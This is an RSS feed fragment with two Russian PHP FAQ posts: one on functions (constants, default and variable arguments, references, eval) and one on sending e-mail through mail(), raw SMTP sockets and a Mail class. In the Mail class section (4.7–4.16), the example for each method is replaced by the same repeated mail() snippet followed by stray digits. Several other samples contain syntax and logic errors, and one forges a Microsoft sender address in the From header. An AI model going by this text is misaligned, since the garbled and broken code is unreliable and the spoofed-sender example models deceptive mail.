<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?</div><div class="code_line">// Чтобы не путать с функциями, констанам обычно дают имена верхнего регистра.</div><div class="code_line">define(&quot;MAX_SIZE&quot;, 1024);</div><div class="code_line">define(&quot;MESSAGE&quot;, &quot;HELLO&quot;);</div><div class="code_line">&nbsp;</div><div class="code_line">function foo()</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;if(defined(&#39;MAX_LENGTH&#39;) &amp;&amp; defined(&#39;MESSAGE&#39;)) // Определяем, заданы ли константы</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;for($i = 0; $i &#60; MAX_LENGTH; $i++) echo MESSAGE;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">foo(); // Выведет HELLO 1024 раза</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
<br>
Что использовать в данном конкретном случае полностью зависит от вас. <br>
<br>
Лично я использую:<br>
<br>
Константы - в файлах конфигурации.<br>
config.php:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?</div><div class="code_line">define(&#39;DB_HOST&#39;, &#39;localhost&#39;);</div><div class="code_line">define(&#39;DB_USER&#39;, &#39;db_user&#39;);</div><div class="code_line">define(&#39;DB_PASS&#39;, &#39;db_pass&#39;);</div><div class="code_line">define(&#39;DB_NAME&#39;, &#39;databasename&#39;);</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
db.php:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?</div><div class="code_line">include(&#39;config.php&#39;);</div><div class="code_line">function db_connect()</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$base = mysql_connect(DB_HOST,DB_USER,DB_PASS)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;or die(&#39;Error: Couldn\&#39;t connect to database server. Please revisit later.&#39;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mysql_select_db(DB_NAME)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;or die(&#39;Error: Couldn\&#39;t select the database. Please visit later.&#39;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;return $base;</div><div class="code_line">}</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
Ссылки - для оптимизации, global - для работы с большими переменными из глобальной области видимости.<br>
<br>
<span class="tag-color tag-color-named" data-value="green" style="color: green"><strong class='tag-b'>2. Перегрузка функций и множественные аргументы.</strong></span><br>
<br>
Скажу сразу - перегрузка функций в PHP запрещена. &quot;Как же так?&#33;&quot; - Скажете вы. - &quot;А как тогда работают функции mail(), setcookie() и так далее?&quot;.<br>
<br>
Такие функции как mail() и setcookie() используют так называемые значения по умолчанию. То есть, для последних аргументов заданы определенные значения по умолчанию (чаще всего - пустая строка), которые будут использованы, если аргумент не передан.<br>
Давайте напишем функцию, которая выведет содержимое строки &#036;text, &#036;num раз, после чего выведет сообщение &#036;message:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function shout($text, $num = 1; $message = &#39;&#39;)</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;for($i = 0; $i &#60; $num; $i++) echo $text;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;if($message = &#39;&#39;) echo $message; // Своеобразная проверка числа аргументов</div><div class="code_line">}</div></ol></div></div></div></div><br>
НО: пропускать аргументы можно только последовательно. Скажем, вы не сможете пропустить &#036;num и задать &#036;message.<br>
Вот наша функция в действии:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">shout(&#39;Hello&#39;); // Просто выведет Hello</div><div class="code_line">shout(&#39;Hello&#39;, 5); // Выведет Hello 5 раз</div><div class="code_line">shout(&#39;Hello&#39;, 5, &#39;Web&#39;); // 5 раз выведет Hello, а потом еще и Web</div></ol></div></div></div></div><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>2.1 Множественные аргументы.</strong></span><br>
<br>
Вам никогда не хотелось полного контроля над числом параметров функции, как это сделано в C++? Нет проблем, в PHP все гораздо проще.<br>
Давайте вот так сразу, с места в карьер, портируем функцию writeln() из Паскаля в PHP:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function writeln()</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$args = func_get_args();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$num = func_num_args();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;for($i = 0; $i &#60; $num; $i++) echo $args[$i].&quot;\r\n&quot;;</div><div class="code_line">}</div></ol></div></div></div></div><br>
То есть, вся соль в том, что мы оставляем список аргументов пустым, получаем сами аргументы в виде массива с помощью функции func_get_args(), получаем число аргументов с помощью функции func_num_args() и далее работаем с данными массива как хотим. Помните, что передавать в качестве аргументов можно также массивы и объекты.<br>
Есть еще одна функция из этой серии - func_get_arg(&#036;index), которая вернет значение аргумента под номером &#036;index.<br>
<br>
<span class="tag-color tag-color-named" data-value="green" style="color: green"><strong class='tag-b'>3. ... и еще чуть-чуть</strong></span><br>
<br>
Напоследок расскажу еще о некоторых моментах:<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>3.1 Возврат ссылок функциями.</strong></span><br>
<br>
Если хотите, чтобы ваша функция возвращала ссылку, это нужно сделать так:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function &amp;foo()</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;return &amp;$bar;</div><div class="code_line">}</div></ol></div></div></div></div><br>
Как нам поведал rvt, данный прием может не работать, так что будьте осторожны с возвратом ссылок и используйте следующий код:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function &amp;foo()</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;return $bar;</div><div class="code_line">}</div><div class="code_line">$bar = &amp;foo();</div></ol></div></div></div></div><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>3.2 Переменные функций.</strong></span><br>
<br>
Кроме того, в PHP можно даже использовать переменные функций:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function foo()</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;echo &#39;Hello&#39;;</div><div class="code_line">}</div><div class="code_line">function bar($arg)</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;echo &quot;Hello, $arg&quot;;</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">$dynamic_func = &#39;foo&#39;;</div><div class="code_line">$dynamic_func(); // Выведет Hello</div><div class="code_line">$dynamic_func = &#39;bar&#39;;</div><div class="code_line">$dynamic_func(&#39;Web&#39;); // Выведет Hello, Web</div></ol></div></div></div></div><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>3.3 Интерпретация строки как PHP-кода.</strong></span><br>
<br>
Но и это еще не все&#33; Можно даже интерпретировать строку как PHP код:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">$str = &#39;echo &quot;Hello, World&quot;;&#39;;</div><div class="code_line">eval($str); // Выведет Hello, World</div></ol></div></div></div></div><br>
В некоторых ситуациях это может быть полезно.]]></description>
        <author>Trustmaster</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=406212</guid>
        <pubDate>Mon, 19 Jul 2004 19:37:04 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=406212</link>
        <description><![CDATA[Trustmaster: <span class="tag-color tag-color-named" data-value="red" style="color: red">Если у Вас возникли какие-либо вопросы по данному FAQ&#39;у, замечания можно оставить в следующей теме: <a class='tag-url' href='http://forum.sources.ru/index.php?showtopic=68017' target='_blank'>Обсуждение FAQ-ов</a></span><br>
<br>
<span class="tag-color tag-color-named" data-value="green" style="color: green"><span class='tag-size' data-value='13' style='font-size:13pt;'>Отправка e-mail сообщений в PHP.</span><br>
<br>
Здесь я попытаюсь кратко изложить основные возможности отправки электронной почты в PHP.</span><br>
<br>
<strong class='tag-b'>1. Функция mail().</strong><br>
<br>
Действия функции mail() зависят от операционной системы. В UNIX она попытается использовать процесс программы SendMail для отправки сообщения. В Windows она пытается использовать SMTP или же внутреннюю эмуляцию процесса SendMail.<br>
<br>
Прототип функции выглядит так:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">bool mail(string to, string subject, string message</div><div class="code_line">[, string additional_headers [, string additional_parameters]]);</div></ol></div></div></div></div><br>
to содержит адрес получателя, subject - тему письма, message - содержимое (текст). В additional_headers можно поместить дополнительные HTTP заголовки, а additional_parameters - параметры вызова процесса sendmail.<br>
<br>
К примеру, мы хотим отправить письмо некоему john@doe.com, причем указать обратный адрес admin@microsoft.com и почтовую программу &quot;E-mail Terminator v.1000&quot;:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">mail(&quot;john@doe.com&quot;, &quot;PHP mail() Test&quot;, &quot;Это письмо отправлено функцией mail() из PHP скрипта&quot;,</div><div class="code_line">&quot;From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000&quot;) or die(&quot;Ошибка: не получилось отправить письмо!&quot;);</div></ol></div></div></div></div><br>
<br>
Подведем итоги.<br>
<strong class='tag-b'>Плюсы:</strong> простота и легкость в использовании.<br>
<strong class='tag-b'>Минусы:</strong> невозможность отправки писем с других серверов (кроме localhost), отсутствие поддержки SMTP аутентификации (для некоторых серверов), невозможность присоединения файлов, возможные проблемы при использовании почтовых служб, отличных от SendMail, в UNIX.<br>
<br>
<br>
<strong class='tag-b'>2. Сокеты.</strong><br>
<br>
<br>
Этот способ всех &quot;ближе к телу&quot;. Здесь нам самим придется вникнуть в особенности протокола SMTP.<br>
Итак, нам придется соединиться с почтовым сервером, создав сокет, &quot;пообщаться&quot; c сервером, отправить заголовки и текст письма, после чего закрыть соединение.<br>
Для этого напишем свою простую функцию sock_mail():<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function sock_mail($host, $to, $from, $subj, $message, $type)</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;if($type==&quot;&quot;) $type=&quot;text/plain&quot;; // Определям тип по умолчанию</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;// Соединение</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$fp = fsockopen($host, 25); // Подключаемся на 25 порт сервера $host</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;// Приветствие</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$log .= fgets($fp); // Читаем приветствие сервера</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fputs($fp, &quot;HELO: $host&quot;); // Привет, сервер :)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$log .= fgets($fp); // Читаем ответ</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fputs($fp, &quot;MAIL FROM:&#60;$from&#62;&quot;); // Определяем пользователя</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$log .= fgets($fp); // Читаем ответ</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fputs($fp,&quot;RCPT TO:&#60;$to&#62;&quot;); // Определяем получателя</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$log .= fgets($fp); // Читаем ответ</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fputs($fp, &quot;DATA&quot;); // Приветствие окончено, теперь приступим к делу</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$log .= fgets($fp); // Читаем ответ</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;// Заголовки</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fputs($fp, &quot;X-Mailer: Sock_Mail v.1.0&quot;); // Название клиента (необязательно)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fputs($fp, &quot;Reply-To: $from&quot;); // Адрес, на который идут ответы (необязательно)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fputs($fp, &quot;From: $from&quot;); // Отправитель</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fputs($fp, &quot;Subject: $subj&quot;); // Тема</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fputs($fp, &quot;MIME-Version: 1.0&quot;); // Версия MIME (необязательно)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fputs($fp, &quot;Content-Type: $type&quot;); // Тип содержимого</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fputs($fp,&quot;&quot;); // Пустая строка</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;// Содержимое</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fputs($fp, $message);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;// Конец диалога</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fputs($fp, &quot;.&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$log .= fgets($fp); // Читаем ответ</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fputs($fp, &quot;QUIT&quot;); // Сообщаем о выходе</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;$log .= fgets($fp); // Читаем ответ</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;// Завершение соединения</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fclose($fp); // Закрываем сокет</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;return $log; // Возвращаем ответы сервера.</div><div class="code_line">}</div></ol></div></div></div></div><br>
В принципе, эта та же функция mail(), только работает с любым сервером через соединение на 25-й порт. Чуть позже мы рассмотрим улучшенный вариант использования сокетов.<br>
Исходник функции также можно найти в аттаче (файл sock_mail.php).<br>
<br>
Подведем итоги.<br>
<strong class='tag-b'>Плюсы:</strong> соединение с любым почтовым сервером, неограниченные возможности по улучшению.<br>
<strong class='tag-b'>Минусы:</strong> все приходится писать самостоятельно.<br>
<br>
<span class="tag-color tag-color-named" data-value="gray" style="color: gray">Добавлено 16/08/2007 by <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=4132' target='_blank'>Рысь</a>:</span><br>
Небольшое добавление про перенос строк :<br>
<a class='tag-url' href='http://forum.sources.ru/index.php?showtopic=199094&view=findpost&p=1665050' target='_blank'>Отправка почты (сообщение #1665050)</a><br>
<br>
<strong class='tag-b'>3. Библиотеки.</strong><br>
<br>
<br>
Существует огромное количество библиотек для работы с почтой. Большинство из них является лишь объектно-ориентированной надстройкой над стандартной mail(). Я не буду их сдесь рассматривать, так как у меня есть идея получше (см. ниже).<br>
<br>
Подведем итоги.<br>
<strong class='tag-b'>Плюсы:</strong> объектно-ориентированный интерфейс, возможность прикрепления файлов.<br>
<strong class='tag-b'>Минусы:</strong> большинство таких библиотек наследуют недостатки функции mail().<br>
<br>
<br>
<strong class='tag-b'>4. Эксклюзив.</strong><br>
<br>
<br>
Специально для вас я модифицировал один из популярных классов Mail и интегрировал в него некоторые новые возможности так, чтобы он принимал во внимание особенности и недостатки всех описанных здесь методов.<br>
Исходник класса можно найти в аттаче (файл mail.php), а здесь мы рассмотрим работу с этим классом.<br>
<br>
<strong class='tag-b'>4.0</strong> Создание объекта:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">$m = new Mail(); // Теперь $m - объект класса Mail</div></ol></div></div></div></div><br>
<br>
<strong class='tag-b'>4.1</strong> Метод Host(). Этот метод определяет имя сервера, который будет использован для отправки сообщения. По умолчанию будет использован localhost. Если вы хотите использовать другой сервер, нужно сделать это так:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">$m-&#62;Host(&quot;mail.myhost.com&quot;); // Будем отправлять писмо с mail.myhost.com</div></ol></div></div></div></div><br>
<br>
<strong class='tag-b'>4.2</strong> Метод Username() и Password(). Устанавливают имя пользователя и пароль для SMTP аутентификации. ВНИМАНИЕ: используйте только если сервер требует аутентификации для SMTP&#33;<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">$m-&#62;Username(&quot;admin&quot;); // Используем пользователя admin</div><div class="code_line">$m-&#62;Password(&quot;sWordFiSH&quot;); // Пароль - sWordFiSH</div></ol></div></div></div></div><br>
<br>
<strong class='tag-b'>4.3</strong> Метод Content_type(). Устанавливает тип содержимого письма.<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">$m-&#62;Content_type(&quot;text/html&quot;); // Письмо в виде HTML</div></ol></div></div></div></div><br>
<br>
<strong class='tag-b'>4.4</strong> Метод autoCheck(). Проверять правильность адресов e-mail или нет? По умолчанию - false.<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">$m-&#62;autoCheck(true); // Будем проверять адреса</div></ol></div></div></div></div><br>
<br>
<strong class='tag-b'>4.5</strong> Метод Subject(). Устанавливает тему сообщения. Пример:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">$m-&#62;Subject(&quot;How to make million dollars per day.&quot;); // Без комментариев</div></ol></div></div></div></div><br>
<br>
<strong class='tag-b'>4.6</strong> Метод From(). Устанавливает адрес отправителя. По умолчанию - nobody@localhost.<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">$m-&#62;From(&quot;user@host.com&quot;); // Отправляем с адреса user@host.com</div></ol></div></div></div></div><br>
<br>
<strong class='tag-b'>4.7</strong> Метод ReplyTo(). Адрес, на который будут приходить ответы.<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">mail(&quot;john@doe.com&quot;, &quot;PHP mail() Test&quot;, &quot;Это письмо отправлено функцией mail() из PHP скрипта&quot;,</div><div class="code_line">&quot;From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000&quot;) or die(&quot;Ошибка: не получилось отправить письмо!&quot;);</div></ol></div></div></div></div>000<br>
<br>
<strong class='tag-b'>4.8</strong> Метод To(). Добавляет нового адресата в список &quot;To:&quot;. После вызова Send писмьмо будет отправлено по всем адресам из списка. Пример:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">mail(&quot;john@doe.com&quot;, &quot;PHP mail() Test&quot;, &quot;Это письмо отправлено функцией mail() из PHP скрипта&quot;,</div><div class="code_line">&quot;From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000&quot;) or die(&quot;Ошибка: не получилось отправить письмо!&quot;);</div></ol></div></div></div></div>111<br>
<br>
<strong class='tag-b'>4.9</strong> Метод Cc(). То же, что и метод To(), но для поля &quot;CC:&quot;.<br>
<br>
<strong class='tag-b'>4.10</strong> Метод Bcc(). То же, что и To(), но для &quot;BCC&quot; (&quot;Blank Carbon Copy&quot;).<br>
<br>
<strong class='tag-b'>4.11</strong> Метод Body(). Устанавливает текст сообщения, принимая его в качестве первого аргумента. В качестве второго аргумента можно (но необязательно) указать кодировку письма.<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">mail(&quot;john@doe.com&quot;, &quot;PHP mail() Test&quot;, &quot;Это письмо отправлено функцией mail() из PHP скрипта&quot;,</div><div class="code_line">&quot;From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000&quot;) or die(&quot;Ошибка: не получилось отправить письмо!&quot;);</div></ol></div></div></div></div>222<br>
<br>
<strong class='tag-b'>4.12</strong> Метод Organization(). Устанавливает вашу организацию. Пример:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">mail(&quot;john@doe.com&quot;, &quot;PHP mail() Test&quot;, &quot;Это письмо отправлено функцией mail() из PHP скрипта&quot;,</div><div class="code_line">&quot;From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000&quot;) or die(&quot;Ошибка: не получилось отправить письмо!&quot;);</div></ol></div></div></div></div>333<br>
<br>
<strong class='tag-b'>4.13</strong> Метод Priority(). Устанавливает приоритет письма (1 - самый высокий, 2 - высокий, 3 - нормальный, 4 - низкий, 5 - самый низкий).<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">mail(&quot;john@doe.com&quot;, &quot;PHP mail() Test&quot;, &quot;Это письмо отправлено функцией mail() из PHP скрипта&quot;,</div><div class="code_line">&quot;From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000&quot;) or die(&quot;Ошибка: не получилось отправить письмо!&quot;);</div></ol></div></div></div></div>444<br>
<br>
<strong class='tag-b'>4.14</strong> Метод Attach(). Прикрепляет файл к письму (можно прикреплять несколько файлов). Первый аргумент - путь к файлу, второй (необязательно) - его MIME тип, третий (необязательно) - его dispostion (inline - клиенту можно его отобразить, attachment - обязательно сохранить на диске), по умолчанию inline.<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">mail(&quot;john@doe.com&quot;, &quot;PHP mail() Test&quot;, &quot;Это письмо отправлено функцией mail() из PHP скрипта&quot;,</div><div class="code_line">&quot;From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000&quot;) or die(&quot;Ошибка: не получилось отправить письмо!&quot;);</div></ol></div></div></div></div>555<br>
<br>
<strong class='tag-b'>4.15</strong> Метод Send(). Производит отправку письма:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">mail(&quot;john@doe.com&quot;, &quot;PHP mail() Test&quot;, &quot;Это письмо отправлено функцией mail() из PHP скрипта&quot;,</div><div class="code_line">&quot;From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000&quot;) or die(&quot;Ошибка: не получилось отправить письмо!&quot;);</div></ol></div></div></div></div>666<br>
<br>
<strong class='tag-b'>4.16</strong> Метод Get(). Выводит письмо таким, каким его получит клиент.<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">mail(&quot;john@doe.com&quot;, &quot;PHP mail() Test&quot;, &quot;Это письмо отправлено функцией mail() из PHP скрипта&quot;,</div><div class="code_line">&quot;From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000&quot;) or die(&quot;Ошибка: не получилось отправить письмо!&quot;);</div></ol></div></div></div></div>777 <br>
<br>
<br>
Подведем итоги.<br>
<strong class='tag-b'>Плюсы:</strong> универсальность и сочетание всех необходимых возможностей.<br>
<strong class='tag-b'>Минусы:</strong> надеюсь, что их нет...]]></description>
        <author>Trustmaster</author>
        <category>PHP</category>
      </item>
	
      </channel>
      </rss>
	